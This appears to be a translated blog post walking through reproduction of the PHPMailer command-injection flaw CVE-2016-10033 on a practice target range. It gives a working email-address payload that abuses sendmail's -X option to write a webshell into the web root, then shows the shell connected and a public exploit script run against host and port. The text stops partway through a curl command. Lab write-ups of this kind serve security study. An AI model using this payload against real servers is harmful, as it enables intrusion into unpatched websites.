肥皂的小屋

Title: "PHPMailer Remote Command Execution Vulnerability Reproduction" Categories: ["Security Technology"] Tags: ["Vulnerability Exploitation", "RCE", "CVE"] Draft: False Slug: "557" Date: "2020-04-07 09:57:00" 0x01 Vulnerability Principle Explanation of knowledge points, reproduction in the target field Vulnerability Number: CVE-2016-10033 Affected Range: The mail function in PHPMailer version PHPMailer uses the system sendmail method when sending emails, and insufficient filtering allows users to inject attack code PHPMailer command execution vulnerability (CVE-2016-10033) exploits the combination of the escapeshellarg and escapeshellcmd functions, resulting in single quote escaping. The specific vulnerability analysis and exploitation process can be found in this experiment by Hetian Network Security, but it costs 200 RMB. 0x02 Target Field Reproduction Reproduce using the MoZhe target field When you open the page, it is an English website, and there is a mail link at the bottom: Clicking on it leads to a mail sending interface: Exp: Construct email "attacker\" -oQ/tmp -X/var/www/html/shell.php soapffz"@gmail.com Message: The sendmail -X parameter can write logs to the specified file. After sending, the page freezes, but it doesn't matter, because a webshell has already been written. Connect with AntSword: Obtain the key 0x03 RCE-exp Download the exp address and test the following command on the remote target: ./exploit host:port Test locally as follows: ./exploit localhost:8080 The default exp only provides two parameters, host and port. In this question, there is also the directory mail.php, which can be easily modified: Just add your corresponding directory to: curl -sq 'http://'$